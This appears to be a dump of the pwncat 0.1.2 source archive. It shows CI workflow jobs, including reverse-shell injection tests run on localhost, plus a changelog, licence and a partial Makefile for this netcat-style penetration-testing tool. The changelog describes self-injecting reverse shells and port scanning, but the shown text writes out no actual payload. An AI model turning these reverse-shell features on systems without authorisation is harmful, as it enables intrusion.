_port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 # - name: "[OPTIONS] -C/--crlf" # shell: bash # run: | # # retry make _test-options--crlf # env: # RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.gitignore000066400000000000000000000016221414025024700147760ustar00rootroot00000000000000# -------------------------------------------------------------------------------------------------- # Python cache # -------------------------------------------------------------------------------------------------- __pycache__ *.pyc # -------------------------------------------------------------------------------------------------- # Build artifacts # -------------------------------------------------------------------------------------------------- .mypy_cache/* pwncat.egg-info/ pwncat.egg-info/ build/ dist/ # Ignore custom package builds share/pkg/blackarch share/pkg/brew share/pkg/nixos share/pkg/pentoo # rtd share/doc/_build/ share/doc/make.bat share/doc/linkcheck share/doc/venv # -------------------------------------------------------------------------------------------------- # Tests # -------------------------------------------------------------------------------------------------- .env pwncat-0.1.2/.readthedocs.yaml000066400000000000000000000005571414025024700162430ustar00rootroot00000000000000# Required version: 2 # Build documentation in the docs/ directory with Sphinx sphinx: configuration: share/doc/conf.py # Optionally build your docs in additional formats such as PDF formats: [] # Optionally set the version of Python and requirements required to build your docs python: version: 3.7 install: - requirements: share/doc/requirements.txt pwncat-0.1.2/CHANGELOG.md000066400000000000000000000153711414025024700146250ustar00rootroot00000000000000# Changelog ## Unreleased ## Release 0.1.2 ### Fixes - Fixes: [#109](https://github.com/cytopia/pwncat/issues/109) when pasting in term I donot get full line echo ## Release 0.1.1 ### Fixes - Fixes: pwncat will re-accept during local portforwarding if the client quits (previously pwncat shutdown) ## Release 0.1.0 ### Fixes - Fixed UTF-8 char conversion for Python3 - Fixed calculation for socket bytes sent - Fixed shutdown handling for port scanner - Fixed false positives for port scanner - Fixed sending binary data from stdin - Fixed self-inject mode if remote sends greetings or prefixes: #83 - Fixed remote command to respawn if it crashes due to bad user input ### Added - Implemented signal handler to distribute shutdown signals across threads - Feature: `--no-shutdown` to copy the behaviour of OpenBSD netcat to keep stdin open after EOF - Feature: `--http` - Feature: `send-on-eof` - CI: Integration tests for inject shell - CI: Integration tests for different file transfer modes - Added artwork ### Changed - Changed behaviour to close after EOF on stdin (can be reverted via `--no-shutdown`) - Added faster method to validate remote files in CNC mode ## Release 0.0.23-alpha ### Fixed - Fixed freeze in raw mode: #81 ### Added - Install instructions for ArchLinux ## Release 0.0.22-alpha ### Added - Feature: Rebind forever: `--rebind`: #44 - Feature: Wait between rebind attempts: `--rebind-wait`: #45 - Feature: Port hopping for rebinds: `--rebind-robin`: #46 - Feature: Send initial ping `--ping-init`: #48 - Feature: Zero-I/O mode (port scan) `--zero`: #32 - Feature: Safeword: `--safe-word`: #51 - Feature: Stateless UDP connect: `--udp-sconnect` and `--udp-sconnect-word`: #79 ### Changes - Re-organized command line arguments for better overview ## Release 0.0.21-alpha ### Added - Feature: Be able to inject multiple reverse shells `--self-inject` by specifying a port list (comma separated, range or increment): https://www.youtube.com/watch?v=VQyFoUG18WY ### Changed - port argument not only takes comma seperated value or range, but now also an increment: `443+10` ## Release 0.0.20-alpha ### Added - Feature: Be able to specify source address and port for clients: #66 ## Release 0.0.19-alpha ### Added - Feature: Dualstack IPv4 and IPv6 by default (use `-4` or `-6` to use either of them alone) - Feature: Allow `addr` part in `--local` to be optional for consistency: #54 - Feature: Have a stateful connect phase for UDP - CI: Run integration tests for any combination of IPv4, IPv6, TCP, UDP, specific bind and wildcard bind ### Fixes - Ensure remote hostname is mandatory for `--local`/`-L` mode ## Release 0.0.18-alpha ### Added - Feature: IP ToS selection (`-T`/`--tos`) - Feature: Print socket options (`--info`) for socket, IPv4, IPv6 and/or TCP ## Release 0.0.17-alpha ### Fixed - CI: Fixed test frameworks for error checking ### Added - Feature: IPv6 support (`-6`) #### Changed - Changed `--rebind` to allow omitting an argument for endless connect retries ## Release 0.0.16-alpha ### Added - Added self-injecting unbreakable pwncat reverse shell ## Release 0.0.15-alpha #### Fixed - Fixed broken pipe with `tail -F` #### Changed - CI: Retry with different port on test failure ## Release 0.0.14-alpha #### Added - Added feature: Made `PSEStore` instance available to all PSE scripts to persist data, interacti with sockets, stop signal and logger - Added chat-bot PSE - Added documentation for PSE API ## Release 0.0.13-alpha #### Added - Feature: Client port hopping (`--reconn-robin`): #43 ## Release 0.0.12-alpha #### Added - Feature: Adedd PSE: Pwncat Scripting Engine (`--script-send` and `--script-recv`): #62 ## Release 0.0.11-alpha #### Fixed - Fixed various bugs with `--reconn`, `--keep-open`, `--local` and `--remote` - Fixed various bugs with threads - Fixed shutdown behaviour with Ctrl+c for --keep-open - Fixed shutdown behaviour with Ctrl+c for --reconn #### Added - Feature: Custom ping word (`--ping-word`): #49 - Python type coverage report - CI: Added ca. 13,000 LoC integration tests and fixed findings accordingly - CI: Added dockerized interactive tests to simulate Ctrl+c #### Changed - Code: really heavy heavy code refactoring - Option: `-C`/`--crlf` now takes an argument to either force LF, CRLF or CR or even remove line feeds altogether on input AND output (or keep as it is, if not specified) - Modularized code for better plugin integration - Fixes #47 Change `--udp-*` options to `--*` to allow both, UDP and TCP ## Release 0.0.10-alpha #### Added - CI: pylinyt - CI: mypy #### Changed - Code: heavy refactoring - CI: separate jobs - API: switched from pdoc to pdoc3 ## Release 0.0.9-alpha #### Added - Feature: colorized logging (`-c`/`--color`): #56 ## Release 0.0.8-alpha #### Added - Feature: implemented remote port forwarding mode: `-R`/`--remote` ## Release 0.0.7-alpha #### Fixed - Fixed `-L`/`--local` mode to now persist multiple requests - Fixed `-C`/`--crlf` Only replace `\n` with `\r\n` if `\n` exists and don't blindly add. #### Added - Integration tests for `L`/`--local` mode #### Changed - Plugin architecture has been heavily refactored to make it easier to add new plugins - Improved logging ## Release 0.0.6-alpha #### Fixed - Fixed `-n`/`--nodns` to actually not resolve DNS - Fixed various threading issues #### Added - Check for unimplemented options - Feature: Made socket receive non-blocking - Feature: Made stdin non-blocking (except for Windows) - Documentation: man page - Documentation: updated readme and contribution guidelines - CI: lots of integration tests for Linux, MacOS and Windows #### Changed - Changed daemon threads to non-daemon threads - Use Python's `logging` module instead of self-written one - Usage options have changed drastically - Changed `--reconn` and `--reconn-wait` to keep open (`-k`/`--keep`) #### Removed - Removed `builtins` import for cross-os base install compatibility ## Release 0.0.5-alpha #### Added - Feature: Local port forward (`-L`) ## Release 0.0.4-alpha #### Added - Feature: UDP connect mode interval ping (`--udp-ping-intvl`) for unbreakable UDP reverse shells ## Release 0.0.3-alpha #### Fixed - Hardened Python 2/3 string compatibility - Checking against mutually exclusive arguments - Fix crash while checking for Mac newlines `\r` #### Added - Editorconfig - Feature: Re-connect/Re-listen on connection abort (`--reconn`) - Feature: Re-connect/Re-listen on connection abort (`--reconn-wait`) ## Release 0.0.2-alpha #### Added - Feature: Execute shell commands (`-e/--exec`) - Feature: Skip DNS resolution (`-n/--nodns`) - Documentation: API docs #### Changed - Renamed project from netcat to pwncat ## Release 0.0.1-alpha #### Added - Feature: Listen - Feature: Connect - Feature: UDP mode - Feature: Change linefeeds (LF vs CRLF) - Feature: Verbosity pwncat-0.1.2/CONTRIBUTING.md000066400000000000000000000011131414025024700152320ustar00rootroot00000000000000# Contributing ### Generel * Star this project to keep me going * Use `pwncat` and report bugs * Use `pwncat` and request features * Submit exotic example use cases * Check the issues and see if you can help ### Documentation * Find and fix spelling and grammar mistakes * Improve man page * Build and improve github page * Suggest things to improve ### Packages * Maintainer for `.deb` and `.rpm` packages wanted * Maintainer for `brew` packages wanted * Review pip package ### Code * Review the code * Comment the code * Add features * Fix bugs ### Other * Anything I've missed pwncat-0.1.2/LICENSE.txt000066400000000000000000000021051414025024700146260ustar00rootroot00000000000000MIT License Copyright (c) 2020 cytopia Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. pwncat-0.1.2/Makefile000066400000000000000000001072671414025024700144620ustar00rootroot00000000000000ifneq (,) .error This Makefile requires GNU Make. endif # ------------------------------------------------------------------------------------------------- # Can be changed # ------------------------------------------------------------------------------------------------- # This can be adjusted PYTHON_VERSION = 2.7 # ------------------------------------------------------------------------------------------------- # Default configuration # ------------------------------------------------------------------------------------------------- .PHONY: help lint code test smoke autoformat docs pipeline build deploy clean BINPATH = bin/ MANPATH = man/ DOCPATH = docs/ INTPATH = tests/integration/ BINNAME = pwncat FL_VERSION = 0.4 FL_IGNORES = .git/,.github/,$(BINNAME).egg-info,docs/$(BINNAME).api.html,docs/,data/,.mypy_cache/,share/doc/venv,share/doc/_build,share/pkg/nixos,share/pkg/blackarch/ UID := $(shell id -u) GID := $(shell id -g) # ------------------------------------------------------------------------------------------------- # Default Target # ------------------------------------------------------------------------------------------------- help: @echo " ██▓███ █ █░ ███▄ █ ▄████▄ ▄▄▄ ▄▄▄█████▓" @echo "▓██░ ██▒▓█░ █ ░█░ ██ ▀█ █ ▒██▀ ▀█ ▒████▄ ▓ ██▒ ▓▒" @echo "▓██░ ██▓▒▒█░ █ ░█ ▓██ ▀█ ██▒▒▓█ ▄ ▒██ ▀█▄ ▒ ▓██░ ▒░" @echo "▒██▄█▓▒ ▒░█░ █ ░█ ▓██▒ ▐▌██▒▒▓▓▄ ▄██▒░██▄▄▄▄██ ░ ▓██▓ ░ " @echo "▒██▒ ░ ░░░██▒██▓ ▒██░ ▓██░▒ ▓███▀ ░ ▓█ ▓██▒ ▒██▒ ░ " @echo "▒▓▒░ ░ ░░ ▓░▒ ▒ ░ ▒░ ▒ ▒ ░ ░▒ ▒ ░ ▒▒ ▓▒█░ ▒ ░░ " @echo "░▒ ░ ▒ ░ ░ ░ ░░ ░ ▒░ ░ ▒ ▒ ▒▒ ░ ░ " @echo "░░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ " @echo " ░ ░ ░ ░ ░ ░ " @echo " ░ " @echo @echo "lint Lint repository" @echo "code Lint source code" @echo "test Run integration tests" @echo "smoke Run smokke tests (dockerized)" @echo "autoformat Autoformat code according to Python black" @echo @echo "docs Update code documentation" @echo "pipeline Update GitHub action workflow pipelines" @echo @echo "build Build Python pkg, source and binary dist" @echo "deploy Deploy pip package" @echo "clean Clean the Build" # ------------------------------------------------------------------------------------------------- # Lint Targets # ------------------------------------------------------------------------------------------------- lint: _lint-files lint: _lint-version lint: _lint-usage lint: _lint-docs lint: _lint-man lint: _lint-pipeline .PHONY: _lint-version _lint-version: @echo "# -------------------------------------------------------------------- #" @echo "# Check version config" @echo "# -------------------------------------------------------------------- #" @VERSION_PWNCAT=$$( grep -E '^VERSION = "[.0-9]+(-\w+)?"' bin/pwncat | awk -F'"' '{print $$2}' || true ); \ VERSION_SETUP=$$( grep version= setup.py | awk -F'"' '{print $$2}' || true ); \ VERSION_CHANGE=$$( grep -E '## Release [.0-9]+(-\w+)?$$' CHANGELOG.md | head -1 | sed 's/.*[[:space:]]//g' || true ); \ if [ "$${VERSION_PWNCAT}" != "$${VERSION_SETUP}" ] || [ "$${VERSION_SETUP}" != "$${VERSION_CHANGE}" ]; then \ echo "[ERROR] Version mismatch"; \ echo "bin/pwncat: $${VERSION_PWNCAT}"; \ echo "setup.py: $${VERSION_SETUP}"; \ echo "CHANGELOG.md: $${VERSION_CHANGE} # Looking for latest entry with regex format: '## Release [.0-9]+(\w+)?$$'" ; \ exit 1; \ else \ echo "[OK] Version match"; \ echo "bin/pwncat: $${VERSION_PWNCAT}"; \ echo "setup.py: $${VERSION_SETUP}"; \ echo "CHANGELOG.md: $${VERSION_CHANGE}"; \ exit 0; \ fi \ .PHONY: _lint-usage _lint-usage: SHELL := /bin/bash _lint-usage: @echo "# -------------------------------------------------------------------- #" @echo "# Lint usage" @echo "# -------------------------------------------------------------------- #" $(PWD)/tests/bin/check-usage.sh .PHONY: _lint-files _lint-files: @echo "# --------------------------------------------------------------------" @echo "# Lint files" @echo "# -------------------------------------------------------------------- #" @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-cr --text --ignore '$(FL_IGNORES)' --path . @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-crlf --text --ignore '$(FL_IGNORES)' --path . @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-trailing-single-newline --text --ignore '$(FL_IGNORES)' --path . @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-trailing-space --text --ignore '$(FL_IGNORES)' --path . @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-utf8 --text --ignore '$(FL_IGNORES)' --path . @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-utf8-bom --text --ignore '$(FL_IGNORES)' --path . @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) git-conflicts --text --ignore '$(FL_IGNORES)' --path . .PHONY: _lint-docs _lint-docs: @echo "# -------------------------------------------------------------------- #" @echo "# Lint docs" @echo "# -------------------------------------------------------------------- #" @$(MAKE) --no-print-directory docs git diff --quiet -- $(DOCPATH) || { echo "Build Changes"; git diff | cat; git status; false; } git diff --quiet -- $(PWD)/README.md || { echo "Build Changes"; git diff | cat; git status; false; } .PHONY: _lint-man _lint-man: @echo "# -------------------------------------------------------------------- #" @echo "# Lint man page" @echo "# -------------------------------------------------------------------- #" @$(MAKE) --no-print-directory man git diff --quiet -- $(DOCPATH) $(MANPATH) || { echo "Build Changes"; git diff | cat; git status; false; } .PHONY: _lint-pipeline _lint-pipeline: @echo "# -------------------------------------------------------------------- #" @echo "# Lint Pipelines" @echo "# -------------------------------------------------------------------- #" @$(MAKE) --no-print-directory pipeline git diff --quiet -- .github/workflows || { echo "Build Changes"; git diff | cat; git status; false; } # ------------------------------------------------------------------------------------------------- # Code Style Targets # ------------------------------------------------------------------------------------------------- code: _code-pycodestyle code: _code-pydocstyle code: _code-pylint code: _code-black code: _code-mypy .PHONY: _code-pycodestyle _code-pycodestyle: @V="$$( docker run --rm cytopia/pycodestyle --version | head -1 )"; \ echo "# -------------------------------------------------------------------- #"; \ echo "# Check pycodestyle: $${V}"; \ echo "# -------------------------------------------------------------------- #" @# docker pull cytopia/pycodestyle docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data --entrypoint= cytopia/pycodestyle sh -c 